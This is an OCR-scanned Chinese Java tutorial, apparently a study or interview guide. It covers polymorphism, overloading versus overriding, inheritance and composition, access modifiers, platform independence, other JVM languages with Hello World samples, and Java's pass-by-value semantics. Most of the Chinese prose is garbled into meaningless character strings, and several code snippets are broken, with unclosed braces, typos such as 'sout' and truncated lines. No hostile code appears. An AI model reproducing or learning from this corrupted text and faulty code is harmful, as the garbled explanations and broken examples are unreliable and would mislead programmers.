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R0, SIS BELAREHT . BARN SEXE RN EMES, HiEs T EPN—
%, PorELRHSIR, 7



Java RREIEE . MR, 275 < 12

‘E‘ \ glu\

‘

Java hfp9FiEE. 4

HARET

TSR ESR, MER—RMHFATARNINSR, AILIBTERIERE, FERE
AIRITEER

AIRIRERIX MRS ENANE, BAZSENIZE— IS TR .

STEHESM

AT LTINS, ERENTHE, FERE=TFH.
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B EMReE RO, FRESEERELE. LRSI BERFEIINR.

R — RO T
public class Parent{

public void call () {
sout ("im Parent") ;

}
public class Son extends Parent{// 1.fZR4kKEHH: 5L

public void call(){// 2. FREHEFEMIE

sout ("im Son") ;

public class Daughter extends Parent{// 1.7 ZR&kAEH #0528
public void call() {// 2. FEREHEEFEM T

sout ("im Daughter");

public class Test{

public static void main (String[] args) {
Parent p = new Son(); //3.5CKM 5| HEH TR
Parent pl = new Daughter (); //3.3XFKM5| M THEEXR
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XiF, BT 2L, EFR Parent Z2RILAI, p.call FAERYE Son FEAYSCHL .
p1.call EEHIRE Daughter RYSEHR

BAR, (FECEXBIHREAFEEHE p & son, p1 & Daughter 74, B2, B
LRHRR BRI RFAE R E SABBRIIT

EEgn Spring A9 10C HRATIR, (RIEEARIBHEHMAIEMRE, SEIRIFALA
FRXUMbERE. RIEEFRERME,

55, BBE—MiE, BEEEEREIRE, SRED IISESTHFHEEE.

FERFRIBMINSHENNRNEEES, RARBEE T seAE B IE R A2
NERITTE

EBE—MESEE, —MRINS Java FRIRHEHE—IHEESE, RAHEEERE
HAREERERM N TE.

KT EIESFHESHIRIE, RERODTEHINSSHLELRAT.

BRBBERR, EBHE, BSANNRELZNEEERSES, FEXEHAIUS.
BRMREMAIER, F “Ta” SNNERBERZTE, EEEmiEREtHAINS . &
SHEHER: FAN, SENZE—MIsTHFE, Java PRIESRZESHIRIR . 7~
BEARHERE—MEFSSTIRE, XNIBE StackOverflow FMubl EBERZ ALY
e, BEFRBMAAEL. HEMROTFERFESS.

XiFWE, RAeAIlHIR T ##IZ, NEERIMBREBEChIBYE, FEHRMaIARMTA
AR,

&E# (Overloading ) #1E5 ( Overriding ) & Java RN LERBZERIES ., (BEXT
FHFERIROBEEZEE . A BIHENERAHIFIRE T I EXE
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=2E27
B, MERHEETZBEHNER, ERSHPIFRAMERIEE, XEFMNEEA
ESHNRHHE S EZE, BERRZAEHRESETTE.
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5% VS EE
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1. ERE—MREPRS. E5R— M EITHES,

2. BHSEMS “WIEIE” , BITERIFAIRIES SRS A9 BYHIRT A 208 AR
i

3. EEEEMB “IBTHE” , BIEETHIER, RIESIAREMEOAIIRYR
RIZEBRIERTSE

4. ENERERELBEEAMIN L, FIUERHIEZS. MESEEZS. B3
RE—MESHME, B—MEEAN, 52T%X, SEEANRBEX. (E: PR,
BHRFENESE, IFHSEE. B2, Java FIREINZSE, ENFIRBINER TEE

NEEE) o

E5R6IF

THER—TEBREF, ExABIEREEN—THEHER:

class Dog{
public void bark() {
System.out.println ("woof ");
}
}
class Hound extends Dog{
public void sniff () {
System.out.println ("sniff ");
}
public void bark() {
System.out.println ("bowl"); }
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public class OverridingTest{
public static void main (String [] args) {

Dog dog = new Hound () ;

dog.bark() ;
}
}
AR
bowl
EERGIF, XIREEN T o EIFHR, MIFSIAINE Dog £HZ
SEHILE hi%, REEGEE 5%, BBARAILAGRIEE . TEIE1THA
TR sk, FHELs TE, XA, JVM 2BEAvENE E}aﬂ
ESE YRI5 FIA, = U5 ToERE R, AR
EKRENXH B XEFmBRImESSELE .
EERRM

SRV ESWESTTERIEE;

RSB Se e S ES T3 ARNR([EZEEARE;

HIa%R I RIBRGI M —EARRELLIE S I35 ART5R ;

IR BIRIPREI M AT LA E S 751 5RY55;

BEELEA—EAREREHINERERNRESI L AFRNNERFEE ZhNE

Al

=
FFro

EERZEEBMEEPREERNEE (RN, WESHLEFRTRE, B
BSRITET LU ABARER) o

FeEES WA final BGE.

RARERE—NTTiE, WARREESXIT %,
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EHAGIF

class Dog{
public void bark() {
System.out.println ("woof ");

}

//overloading method
public void bark(int num) {
for (int 1=0; i<num; i++)
System.out.println ("woof ");

EEELRES, EX TR bark i, — M 2KE82H80 bark 5%, B/ —1=2
B—int 2E2HA0 bark 5%, ERIFEH, mEHTLRELSZEE ( 5E2fN2815
) ERRERAN I EER .

BEHAIFM
WEHITEVANESHIIE,;
WEHRIS EI AN ZRIREIZEE;
WEHRITT AR LA BB Im T ;
WEHRVS ZILASBMAISE IEERS;
RSB AR — PR EBEE— D FERPER
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HEEMNRE=THHE: k. K, S5

Heh & ANSCIEMAIL 7 - MERRENIT:

ok NRZSERAIENEBORITIRENRRE], BRARTLURMRE— ek, IEAIR0ER)
EDEBAIEISLKRE, TEA AR FIX D

S ANRZSDELIBRIBRR R, ERENGEL AR, BBATEN —
O, EEE—Mrg, IHMNRSSIX 2O, BB SERRIMIESEREIERR B
o

FRLA, #ERIRANRERENEER, MERMETNREARFTEZEL — MR,

£ Java 1, HEfEA Xigseil, msciliEid KT

Java FF— 1 EERSEIZSMED, ERASHFRSERS XK,

BERR, MERFEE—ERE, BULESENE, BaLIERHE, A LIEHER
By, RBLUABRINERT Y, BR—aERERT—Tmi, — 1 8.

class Car extends Benz implements GasolineCar, ElectroCar{

}

FEORREEENEBES (static final ) MTLEWMAAX (Java 8 LUEETLAE
defult 757% ) ; MESRERFILUENBES X TS 88285,

Java B— 1M HBNRNES . 5—1FIT Java BAEME, k. #x S5
ERNRA=THE . BDAERINIZEIBWERIRHEER S S e P RIERE— IR 4R
AL BISEIERIE A PILL, REFRARERTEE A—EBRIHREREARIER
KHWERTS, AP LABXABEH (BINABXAHAY) . ER, HELXHFMETR
Y. IKEIRERIERR AL AIDH RIRSAILEF B o
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RN AAEGHWRRIR SR X5, FNZSHESTES BT TR
EMEXRAEREA
BIEHREIER, XEMERENE—TEHRNRIERRA,

S RMRAEBREATRIRENEBEFLZ — AR BRIFRIE R AR BN T
BREFAEIE, BAFLKEE. B2, NREBAIBAMA T ERSELULFRIES

ER—TTEEMRARNES, KIBERRE Java 5|INEERIIAEZ—. Java (THERY
SERAWER, ASLURKE=MEFINZRITN . SXEERNMABRWEERTESER.

S

Pix (Inheritance ) B2—MEXERSXEHEIRERL, IBII2— 1K (RAFE. FiE
O) BERBIMI—NZE (FRARE. KEO) KIhEE, HILUEINE B SRIFINEERIEE
PREXRSEYEEOSEOAZEAEENNXER; HEE—F s a XK,

T

A5 (Composition) AT REASED . HBRXE, Bl has—a BIXR,

e e |
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HESYHENXFIFNERR

TR, LERIREM I TFEE 0 Y. FTLATR B E el LAR BT 44 75&ARY
KEERAR—ME S UUEER, (NRERNITIMAENET, AIARELAITMBIEREZ
A, XS T FERIT AT, )

HERBINIENXNRETHE (HE ) FmEMiY. BEEZIEE. RAENSRZE,
ZENAPETEATL, FTUBEMERXMAERORBERR Lo UtEER, (EX
PEP—REEN —PER, PLIERFHIRAS N IERRSEREASIENGE )

5, EENIBRRHEMEREEBEARMRINE, L, B IMHBE T XK. (M
BEERYWFERNSTMEL LIS THINSSERN, FIEET MANRES. )

HE, ESREBRMERT LIRAEEEORE  FILL, RRVESXR—RE S RE,

HER=RIEL

HEXER #% K X R

R BIARER, FEREREZE
REREE, FERBTEERIE
W, FERRZIRIE

s TR, BIAREREREEEZ
[EFRFEE, IRICREXIIRSZ

R ST R, (BREELUEN
RGEREREAN

= BERIFAIAT it

M XFNSHEG. mEiTh, BF Re RTS8, Eis17h,
MIRALAEEARRZEERIFERRIR FELFIEFERRAIRZE

= BRSNS BRI TaE,

ot e S o epe TR FEEBEREER SRR
HEBERERYED, RUEH9EO
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e B RALE RSB R
e POSREAE (e FRAE TR A
FeptET

B QIERRAKIOST, SEE  (he: AETEIINSN, TA0
P BRI S QRIS

AR

BERSAHMEERANRPE—NREENERN SRES . DRMR [sEk H
BINTHE ] « NETERINAEELNIR=X LR ERILIEL, AEHSHEHEREINRE, 1
EREITRIB4ER

PRLA,

TR, AARRGES—<BENRE T, IERANE [ ERFTHERT ] . B
MREEFEERWER, SERREAERYME.

MERBIER, HERDSNRTIREEBZBEABRIER . —MIMEER, B—
BB CEAHENNEROERHITO LR, IREVMAY, WHERZLERN . RZNNIZ
FIFEEREREWER.

RESFREILERBRAIFEEN, TEGRMR. REIAR, JMTRMEAMB,
RESRE ZEFHLFE KEHINHE, 238 B A RAZAREE Ao

MISERE, B—FMFERAIDE. TERREENRITIRUNR, BEIANRMERE
SWIRE, 25 new EEF—EERECIENKRINETF. S3IH—1ETLBZD
WISHRE, AIRIEESHN AR SEEEENAERX S ENRMIERHAIER .
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https://zh.wikipedia.org/wiki/Is-a
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MNSREER—RRAVSEOTT A+ 01, BREEEHEARRE, WigsmrAiREEE, &
SRdR, BRLIETEEIZIN . WISRRIRMEIRIAIERTERIZERIZTRER .

B
BEVRUIREIERRAVESS
MRERE— N AEONCRIEINR BT JREEIERE, SHRIEES S ENERRE

MRS (FOAMIIERE ) . BUMIIERE—

feAtCR REERMEIRHLARIANME, W int —>
0, Integer —> null,

Java PHE=WTs, DiIERTE.

PRREZEMNFEZE . Mi1oslERE JVM
AKX HAFEMERRET.

public class Variables {

private static int a;

private int b;

public void test (ir
int d;

FEHEXHN=A"%EF, ¥
%ABZE o
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Q
\%Dt
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Kt
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K&t
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i
g
Sl
K&t
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SFRRTEMGEEREL, public, protected, private LIRAEZERIXS!:

;. RPIZRREENE T AR ERNEXNREZ N WAY, A K E I RER
AJLAEEAE .
. RPZARZENE L EEMER, RE SRR ERGHENR, Rtz 5
HithKa BN REBRBILINR. FEERBIHINR .
. RPRRTENEANEES SRE—TEHRIEMSET RN EttET
RISRAEILIE), FRAER A TR,
. RPZAREESEL EZREECHENVTE— 18RI, E b8 AT
EApein, BMERERIFE.
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RIENTRE Java Fraskii, ENINIERS Java iIESHIANR, #Imkid Java 82—
BFarNES, Java 2FALXERY, X2 Java IG5 0 LIRRIEEF XICTTRAT—
SZRE. BA, FERAARFALXM? Java N2iMIEMFELXMERNE? NIFIE
BEME—T,

HURTFaFEXE

FEEXERER—MESTITEN LNBETAZEERNR, —REE, FIaHT (
Write Once ,Run Anywhere)

iRk, A Java BIZRITIIT HEIER, BEBAINNERIETTESMFE.

SFaTXIEFE

ER—TTFaLXHES , TIEREEB AR , AR ABNRIFE LERRRERT.

RAEFELXME, Fill Java BRI LUETESHEHNRE L, THRE—EHRADL
25, WFTEDHL. Y. EENE . BEE 56 IRk, B EZHRIFEANLE,
HBIEFEA TR Java et —Le st

XITF Java FFRERR, Java BT FHFAMEREZIZ N FERIpAMTE . EIEAMY

F—REmE, FbiE T

SFETRIERISTH

FF Java BIFEE TR MR, BB Z 2 EAMNEEoERISTIF—1, 2O MERE
N Java RREMRFH, EhinEEEENAEHE JavaiES5iie. Class X4, Java
I (JVM) £,
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i RIEES

HE| JavaiBS#e. Class X4 . Java EHWHAE AR Java B0z T
e

HliE PAEY, EFENERS, TETRIAR
0F11, PRLA, EIERITENHNITRIESCRER 0 70 1 BpAI —#HI35 .

B2, BIMNAEFAEA C. C++. Java. Python & ETEMES, MIEiH
HHES . 1A, BEILTETIARENS HRAY Java K58, Pt EIEM EE s A 0 1
1 BRI ZHFIS S . X MIREMAMRE . ARX—IIERIGIEN T RN MSmES.

= FIEANINEL, £ Java Fadh, BEE Java XHE, TR
B THEIN A, EERXAIWERZE, FiinmENEIRmE:

— R #AER ik BN

igixhd

¥ [E R4S
£

AR

8
e | B , : l NBA% l
¢ MBEE N3 — KRR YRS — s

RlimfmiF E BB SRES A A ESBRIEXAIRS . Java §1, FIETAARIRY
RISRIETERIIRGRIE . bR T IXMLSL, F)ERRIRS IDE, 0 eclipse, idea 3, #K
BT RlinRiEes . TRINEEMEL ABEEHRRY 83

XEREIRY 53, EHpiZ Class X4

EiRfmEFEESETEEEIIERYIZNES . Java P, X—LZERE Java El
EHITRY.


http://www.hollischuang.com/archives/58
https://www.hollischuang.com/archives/2322
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HalloWorld java (j avac HelloWorld. class J’V M 01011011101101

Java L ¥ Class ¥ AF =it 1E

PRLA, AR, Java (IFETRMESLMEZFRTULME . ITFEFR:

H-tlf«Wudd.ch IJ avac HalloWorld.class WM ot1oT10T11101101
Tav ﬂ* \ Cla ssﬁ:m ZEERILE
\ ~
~ /
® - : , Pa
™ ~ [ Ve
S )

BRIMNEERINB—TFX=EE: Java EWL. Class X, Java BE=HEE

Java I,

FMBEaLXE, MRIRBEBHEIRTLIES N Fa LHRETENE. (B2, NTAE
N¥Fe, EEHFIRERES T ~—HN.

MNTFAREREEMRERSE, REENXAIMESIESAE. LLiEERIT a+b, A
ERFINAI—HFIFES A BER 10001000, M B BIERFXINATESHEER 11101110,
BA, BEHREFE, REZRIFHE N LUREXS N AR AR ERFE RSN A

A
~ o

—IF, EBABAIY Java ETK. BX Java BE=2FaLX, B
JVM ARFEBEXRA, FRNEERE LEELEINAI JVM,
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Java SE Development Kit 11.0.2

You must accept the Oracle Technology Network License Agreement for Oracle Java SE to
B download this software.
Accept License Agreement ) Decline License Agreement

Product f File Description File Size Download
Linux 147,28 MB  #jdk-11.0.2 linux-x64 bin.deb
Liruex 154.01 MB  #jdk-11.0.2 linux-x64 bin.rpm
Lirux 171.32 MB  #jdk-11.0.2 linux-x64 bintargz
macOs 166.13 MB  ®jdk-11.0.2 osx-x64 bin.dmg
macOs 166.49 MB  ¥jdk-11.0.2 osx-x64 bintargz
Solaris SPARC 186.78 MBE #dk-11.0.2 solaris-sparcvd bin.tar.gz
Windows 150.94 MB #dk-11.0.2 windows-x64 bin.exe
Windows 170.96 MB  #jdk-11.0.2 windows-x64 bin.zip

LFER Oracle EW T JOK 91551, AEIAVRERAZTE FHXINAY Java B .

B7 Java E, BEHRIT a+b BIF, ABRFRE LENEMINMSEESENEMN 1
0001000, B #fFESt LEAIEMIIMSIEIESEIFEN 11101110,

ARG
- ______ —
e
e
-
/
BFS
"Hollis" +"Chuang” 1u¢0’!"0¢98f44"55 _____
(TLLE \ 09090 T U — — — — — — 11101110
Add.java Add.class \
\ xX¥e

N
33
______

ps: EFRY Class 3HFREN mock AE

FrLA, Java ZERUARLAMEIEES, RN Java EIMZS THR. iniE 7islT
fY Java i SE TROBHIBRER S EIEPBE,
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BB FESRIEUEERE - FEFES—F 113 ( ByteCode ) 2145%
FEEXENB—1EA. Java EMNRSBRFTBEMAY Class XEHTRE.

A% Java iIBS® LA Write Once ,Run Anywhere. iXER) Write ESLigHIGE 2
4 pk Class XHHIT TR,

K9 Java Class XARTLAEHOESEIE, BeJLAREaFEER Java EINIEEE;
FHIT, FRLAABET Java HIEET x4 .

Java iESE

ELE8 7% 8 Class X4, UNALUEARRFE LE Class 4EHFEXI AT i
HI324489 Java AL, Java Bial AESCIEEE TIE?

HXHARH, Java EEEBFETEEEM T —E5HH, XEZHRENX
Java iEEEH.

tean, Java REARHIERENEEFITHHMRHAEBCEXH. M C/C++H, EX
HIRRBERRERIAVERERERN, SURENZHAEFERER. A, EFEFEE
&, JYFE— C+H+iEFRImEERS BIAERITA.

F—NEREF, WFintEE, T Javad, int b4 40FD, XEEERN.
BRE C+H+PIFREERT . E 16 &ML, int XENKERNREARTD; &
32 (Lt BH L, AIEEN 4 15, = 64 (B HRITERE, int KERIKERRESIAT) 8

F. (XBIRAVEERRER! )

BITRIEENEEREERGFar—E, Java lBE5FaLXEREE TR
X¥Fo

INE,

SIF Java BIFEE LR MEIISIFE D HERE Java RRERFH . HHnEEEEA
A JavaiE=e. Class 4. Java EE,
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. Java EEHE
o BEME Java BEFEARYIERINEUETEMITA
. Class 34
o P Java XHE4miERF—HI Class 34
. Java N
o BT Java BN Class 44E A R &I I 4 S

Java FUSEELXIEEEIE Java EUNAEEEXEEMZ ERY, 2R Java &
MR T FRERFRFFRARIER .

e Sk

HiL, Java EXREMUAIEFETXE LR, @SN E—T, JavaitBEIE
BN

BIERAMREND . JVM HELFHAZEH Java XHFHITRER, e Class X4, 18
e, HE JVMIETRIBHE, FAAMEKET JavaiEs.

HNZESH, BmUAEAIFRTIMEELRE Java iEs 2N RE—AHATLATE JVM bz
TENEST, % Groovy. Scala. Jython &, ZFFLAATLIZHE, MRRAXEESHR
LA SmiERF 15 ( Class Xt ) » MELWIHAXOETHBEB MBS mIFEMmRAY.
ES) o

B=E thiRZS, ATiE Java iESEERIFNETS
g1, Java MERORMRE T —MaI LA FE LE RN —fHEafa—=1H15
(ByteCode) .

BT7FTE, TieEWMES (0 Windows. Linux %) , IAELETEWNL, #0J

LIEEETF TS,

B, B7FDE, BERT Java EHYL Java IESZEEE . XIEABERZA
TR, Java I AREIET Java IBEA? XMEEEIENEMTA?


https://www.hollischuang.com/archives/2938
https://www.hollischuang.com/archives/2322
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H3, BalJava BN EEOILIZIFRZER Java IESUMIES 7, W Kotlin.
Groovy. JRuby. Jython. Scala . ZFTLAATLASHE, ME2RAXLES IR
ERFTBEB. TEMANHAXOCFTTHBEEMMESRIEMEKRD .

KB IDE (FAETRESAIL, JFAE Intelij IDEA F, BRiraREZeE
Java ZERIEHER, IDE E=IEREIEEMSERAIN M, XFE IDE BUASHFRI—ERLUIETT
£ JVM LERNES, REERTH, FLIBISHE GRS

New Java Class

¢ Kotlin File/Class
Groovy Class
Aspect
File

o Scratch File
Package

Find Usages XF7 FXML File

Find in Path... {+38F package-info.java

< Cut 38X
B Copy $8C
Copy Path {+88C

Copy Reference X{3C
O Paste BV

BHel, ALEEE JVM BIETRIESERSE, SANEEPIREZNNM . BME
SiET—k [ HelloWorld | XiBi#{TiExR, BEFRIESHIEEBIARE.

Kotlin

Kotlin 2—Ff7E Java EN _ bizfThESEERIZE S, BB mEMN A Java
Script B3, Kotlin BB R RREFFS e BERIER, FrLAz{TReRF
Java b E2FMEE T . Kotlin BTLAM JetBrains InteilliJ Idea IDE XN & TELSE SR
=ER

Hello World In Kotlin

Fun main (args: Array<String>) {

println("Hello, world!")
}
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Groovy

Apache 89 Groovy 2 Java & EIRitHERNREEES . CHNEZENES Java
R%R, Java BEREEERIRAIEEER Groovy, SEFRLE, Groovy RiFSEELUIES ST
4R Java BEETH .

/A Groovy FI— BB Snt SEFAEEMHENT, BIREIS MR R EEFRRIZE
AR#fIR BB RIRHEHERF H 2 RI2ERY . Groovy HJLUEREM Java BS5HRENE. Groovy
LS Java IEEEML, K28 Java (KISt ILE Groovy RNEEIMN, RETJgEEN A
BN

Hello World In Groovy

static void main(String[] args) {
println('Hello, world!"'");
}

Scala

Scala 2—IZBRIREIES , RITTIREEENH RN R R LRSI

515

Scala EERFEANNERANSENNREES  HACREG T RERSEEESHITRRN
5. BRICUERR EEE— M EHNEENRIES . BREESHR EES&EAIN
A RIRM TRFHITRIZEEMIELIER T . Scala NIBRERIFAMRIMILEF 519, IE1TiE
KHESE Java — 1R,

Hello World In Scala

object HelloWorld{
def main(args: Array[String]) {
System.out.println("Hello, world!");
}
}
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Jruby

JRuby 2Rk##E Java 5 Ruby 89, B=2(FEALL Groovy EINEREANEZRESH
19, BESILETRIBHITESRIES . #iF0 Ruby —#, JRuby NMUX SRR T SRANE
EE . CRFERM TARNE RN RIS, Ae%%E, MA JRuby IR Ruby BS18LL
ZTREET Java £&E oILIEA, &% Ruby hEREZEE, BREHEUR ZHLE
=TAIR Java fREEEEEELRY .

Hello World In Jruby

puts 'Hello, world!'

Jython

—_

Jython, 2—1H Java IB=5#/I Python #2228, Jython BE2AE Python iIE5XS
EREISRIFEN Java =518,

Hello World In Jython
print "Hello, world!"
Fantom
Fantom £—MiBANEENSMHIRIES, B Brian fl1 Andy Frank 8, &7
Java Runtime Environment, JavaScript ¥1.NET Common Language Runtime

L£. EFXFEitBinERMingE AP, LURREABRE&REEE JRE 8 CLR LiEfT
A9l .

Fantom 25 Groovy LAK JRuby ZAZH—FEMEN SKNREES, (BRI
= Fantom B&f#R Java K&, MEFERAEECY BIIEE,



FARFELRXMY < 32

Hello World In Fantom

class Hellof{
static Void main() { echo("Hello, world!") }

}

Clojure

Clojure 2 Lisp fRi2iES 1 Java & LB, BB RNEHE. SHM Lisp
—+¥, Clojure MRS AHEIEENBE—E Lisp &%t

274 Clojure tHEEHM EEMRIFMN Java FT013, (BRELXERAISESHEURE &
IEF Java 2. SEMRY JVM BITNESFH—#F, Clojure FABRREBIIRAT.

Hello World In Clojure

(defn -main [& args]
(println "Hello, World!"))

Rhino

Rhino 2— 1% 2L Java fREH JavaScript 512, BeIH Mozilla E&4EIE,

Rhino BY%F= 28 JavaScript II 717, AEERAZI Java B, X¥geEigit Java 12
FREEFER. Hd Rhino B9 JavaAdapters 8E8%it JavaScript @i3iE R Java B9k
SCHFRERIINBE

Hello World In Rhino

print ('Hello, world!")

Ceylon

Ceylon 2—HMHEMENSR, EIEHSEENRBEES, BEAZEM, A Red Hat 8,
Ceylon i2F1E Java E biz1T, BJLARIES JavaScript. ESIRIHUET IR
BANEtE, ST, I RN, BHRMRITRIEE.
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Hello World In Ceylon

shared void run() {
print ("Hello, world!");

}

ISt

i, LA EFERBERIERIILIE JVM EEmz{TH 9 #MES . J0LE Java 1IE4F 10 Fi,
MRIRE— Java &, BFABLEERLLE O ag—Fh, IXFERTAE— 5% E R
ST EESHIER ., #HEFE Groovy. Scala. Kotlin #ig—1 .
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L2512

oy
%\'ﬂ

HAIEBFNE, £ Java PENFEIHMERE I LIEN 2879, tkan Java F89 main /&
o , XEBEM args MES . SHEEFE
SH D AR SEFNLIRS L

RS H: RAEE X R REARIRRERNSH, B AREEOE Az R £
EARNSHL.

SR ERAESRERT, TEREFRBARMZEBEHIREEEXRER . ELERH
AR R, REZEEESTHSEIRA RS

EEESES

public static void main (String[] args) {

ParamTest pt = new ParamTest () ;
pt.sout ("Hollis");//SEBRZHN Hollis
}

public void sout (String name) { //JERSEHHN name
System.out.println (name) ;

}

LIRSHERABEE L ANMEEEZENNE, M ISHERTRIELZRENS
%ﬁ o

BfiE55IREE

FEERET, SERIEB—TEZRHNIH R, SELFSHEREFASH . BR
FREFEST, XMESIEHEERRMER, BMEEENSIBEE. HIRKE N EFE
SHPRINMIE XX S{EEIES | REER .
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{Bf&1% (pass by value ) RIEERBRHIISELRSH =5 —ERRIREH, X
MEERE PRI Z 20 TEK,, BASHINELIRSE

S|FBf& (pass by reference ) RI8EIEARHEPSEIRSEAIHIE S EIREIR
Hh, BRATEREHRIZ 2pmEITAEE, B 0RISCFRES 3,

A, BRERRDE—T, BEEENSIBEEZANKIINEREMNA:

Bi5i& S REE
HRAERA =8l28|7F (Copy) A elERIF
FlA FEEIP AR R IR S ERETH AN R R R

XERAIRE—NERAIBIF - BRRNIER— MEESB5|BEE:

RE—IERER, SIRMNREBEXRFRAIANER, NRIREHHERRIBRES T, X2
SIREE . XFMER T, INRMAIIXITAR THASEE, tLittERR LA T TECES,
BAIBRRLA G (RAIAHE, (RECRIHER EBES BZIRIEF

RE—IEHRER, SIRMNIREBEXRFRAIINR, RE2T—EHERSGM, BCrISE
BHCFE, XMZEEES . XMER T, XXICHRME AT A= RFEAIXICHR

e

MNTFFERR, ERIEXNUROEFER, RBEXNUREAIEHE, FRIKEA
BT ERANESIEXNFIBHEANREZIER, BIRAIZE, et RBEN LR
SHLUEX N SEHEIBRSZE. L, S8 7T EEXRXENYRE.


https://en.wikipedia.org/wiki/Evaluation_strategy
http://chenwenbo.github.io/2016/05/11/%E5%85%B3%E4%BA%8E%E5%80%BC%E4%BC%A0%E9%80%92%E5%92%8C%E5%BC%95%E7%94%A8%E4%BC%A0%E9%80%92/
http://menzhongxin.com/2017/02/07/%E6%8C%89%E5%80%BC%E4%BC%A0%E9%80%92-%E6%8C%89%E5%BC%95%E7%94%A8%E4%BC%A0%E9%80%92%E5%92%8C%E6%8C%89%E5%85%B1%E4%BA%AB%E4%BC%A0%E9%80%92/
https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value

Java FRIEEE < 36

RHERTIE)

KFXANEE, & F5IRETZRITIE, BRREEFRZYTED
[ERRRVIEREA AR, EER2 ANERIIZERA . BB ATRERIE Java FRIZSHIE
EEEEE, BRREAERAMA.

FEFHERNHBZRT, B LB E—TRKRLIBIRIAPLEERE X T ARIFBLITEE,
BRARE R EIFFIRIEAR

HIRIERE— (BREMNS|AEGE, XKOHFHREBIRE, IRENME, MEESRE,
MRENSIA, MESIBEE.

EIRIEM . Java 25| AEiE.

SIRIEE = RENSHIIRESEEE, BHEEEE, NREMR, RIS IBE

& o

RRIEE

BANRIHTHRBBAIHE, FERIELFSHEBLTASH, BAGEBRIIIEFE
[ERBIERI R AZRETE?

XESLREFRITHRERE (Evaluation strategies ) B9,

FEITBENAZES, KMERBEMREREES PREAISKEN—E (BEHEER ) M
W KEZRIEE XA FILUTRIRERELREHILIRSE . T ARMEEEIIRIRARE.
LT A E.

KEREDARARERSE, EFIOMBLEREHILIRSE, 5 AFEFIFE=EN.

FERERE

E THEKRET B, REOFRERET, SRS H SR EN XN R ZAIRE,
ZHIFREES I REEERISRE. FrA, BAIRRKETEKE.


https://www.hollischuang.com/wp-content/uploads/2020/04/pass-by-reference-vs-pass-by-value-animation.gif
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EERRESRE D XBIORERE2ENIEX O, BH2EEAR (Call by
value ) . f&3IAEA (Call by reference ) IRERLZIIRIAA (Call by sharing) -

- EERA (B%E%)

o EEREAY, SRSHCEHCKE, RREEBIER, HIEBERIERIMAIF
2. BAEASH2INRE—N"BEHENR", FrLNRERIEREPEE TR E
HHE, A ASBEEXREHYE.

E3IFREA (5IREE)

o EESIBERT, LEERHNEECRILRSHAIEIS I BMARLSAIENR . E
AEERIESIA, T, MRERBRETNE T SHAVE, S TERE KRR
~=LIDV:E

EHENRIBER (H=EWREES )

o BHEXRIFAS, SSRINEISSFRSERIIL, AREEHER, FHEZMHURYER
BIBEWARHAIE S . RASHNOUEERE—MR, FAEIIBIRZ A"
EHEEMR", L, NRERBRMTRETASHE, BRERULETIXM
TR

W

FEARBRALN, EXLEHE=NRIFBMEERRIERELFE 0, #EH
TR(E" "R &S,

B2, FH=NSEARTRES I BERNERXY 22—, #HREREREPINRAE
SHHINE, PBAXMYTELINEREEZ. (REm, FHEHm.

A, HENRESBMNEEBEUNRS I BEEZERIERERAXER?

TN, FAINZKEIRE, MARER, RAEHENRIBRIIERENEER
RRNIEE Y, MEHE—LXERRE, BBM2"SH", il BERIIANER=
MRIBEFAZEEERRE

BAEIEEAREENRERAKRAE—A, HMNBXREM MEERBMES I BERNEEX

BERRASETERRREIPREORS =5 — D EEEIRET, &5 | BEREEE AR
EREAPRESEPR S ERYS | RS HEE R R H .
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pass by reference pass by value

= (tj _ @
CUup = ' cup = \_}I
fillCup( Y : £I11CHpC )

www.penjee.com

FRLA, MEBRNRETEXIHMEREREERT, BEREERIZE—1EIR.

XERARE—MERAIOF . BRRNEBE—MEEEBMES I FER:

RE—IEHRER, SIRMNIREEXREFRAIANER, NRIREHHERRIBRES T, X2
5IBf%E.

XMER T, MIRAIHXIBRRM T+ ASEE, bERR LA T TEEEF, A
XITARLALE(RAVEHER, (RECRIAR EBESHMMZIRIEF

RE—IERER, SIRMNIREBEXRHRAINNR, RE2T—EHERSGM, BCrISE
HESFE, XMEEEE,

XAER T, MXIXICHER M ARSI RFERIXITHER

Java FUR{ESREE

BIEIAINEI TEERR. E5IBEBUREEEBRMSIEE=XNRIER, B4,
Java FZ2RAIBHKERERTE?

RZ AR Java PRIESEIRRELZESLERY, XPMERLBHARTLUTICH, SiEE
EBIXFEARY
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B2, BREAMRIAA Java PHMNREBES I RESE . ZPUSBEX MR, £E
EEN Java FRIZEBIMNRZERZESIBXRER . Java ESTEEBIIXNRAIS KRN
MRAY. P, REASINANRAUEERZS I BIEE.

mERZ NIRRT LAZEE LA TR CERRA:

public static void main(String[] args) {
Test pt = new Test();

User hollis = new User();

hollis.setName ("Hollis");

hollis.setGender ("Male") ;

pt.pass (hollis);

System.out.println ("print in main , user is " + hollis);

}

public void pass (User user) {
user.setName ("hollischuang") ;
System.out.println ("print in pass , user is " + user);

}

IR

print in pass , user is User{name='hollischuang', gender='Male'}
print in main , user is User{name='hollischuang', gender='Male'}

BILIEE, MREBEREER pass Hikfa, ALERNNETERE, RLEAS
main J3iEFRIRIEE T

FRLA, RZ AR, XASIBEERIIIRE—HRY, SEED ZRNESHANE, S0
FEAT .

BE, HEXEEHRT —NMRX.

Java FRXIRIEE

R ANEICRIREIRIIISRIRA Java JIRES|BEIE, BFARMIMMIARANTF, 5oxX
R
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BAIRIERE, TIeREEE, BE5|BEE, RNTRRERI—, BERERE
EARZ, HREEINHENREENMKNSIBEBEHEE 0. FBEFARR
Java PRISHIGEH —ERS I RIEEMARHEENRIGEE?

B4, Java hROXIgEE, FER2EHME? EL, FTENHEREEZNSREES,
HIE (The Java™ Tutorials ) 1, RBXFXEDHNBRBEN . BX2XT
HARERRAINT:

Primitive arguments, such as an int or a double, are passed into
methods by value. This means that any changes to the values of the para
meters exist only within the scope of the method. When the method returns,

the parameters are gone and any changes to them are lost.

B, RIeSHBEEEIEE A . XEWENSHENTUESERFET HEATEE
W BTTRIRERY, SEFGERK, MEMNHUERERNEEX.

KT IREBATERLOT :

Reference data type parameters, such as objects, are also passed into
methods by value. This means that when the method returns, the passed
—in reference still references the same object as before. However, the
values of the object’ s fields can be changed in the method, if they have

the proper access level.

PR, 5IREIRRESHINNR)BIREEIEETTE. XEWRE, S5 5RER,
ENRISIRIPAS | BSLARIMERAINSR . (B2, NRMRFREGEHRIBEK:, MAJLL
EF AR RN FERAYE .

X—REAXHEEERPHAEL T, Java fi2EEE, RAERIENRISIBEM
BIEEET%. Flm, XFMERHLZIREDBA?

ava PERAIKERBHRSEEZURAR, IR, Java RIRAYMELIE
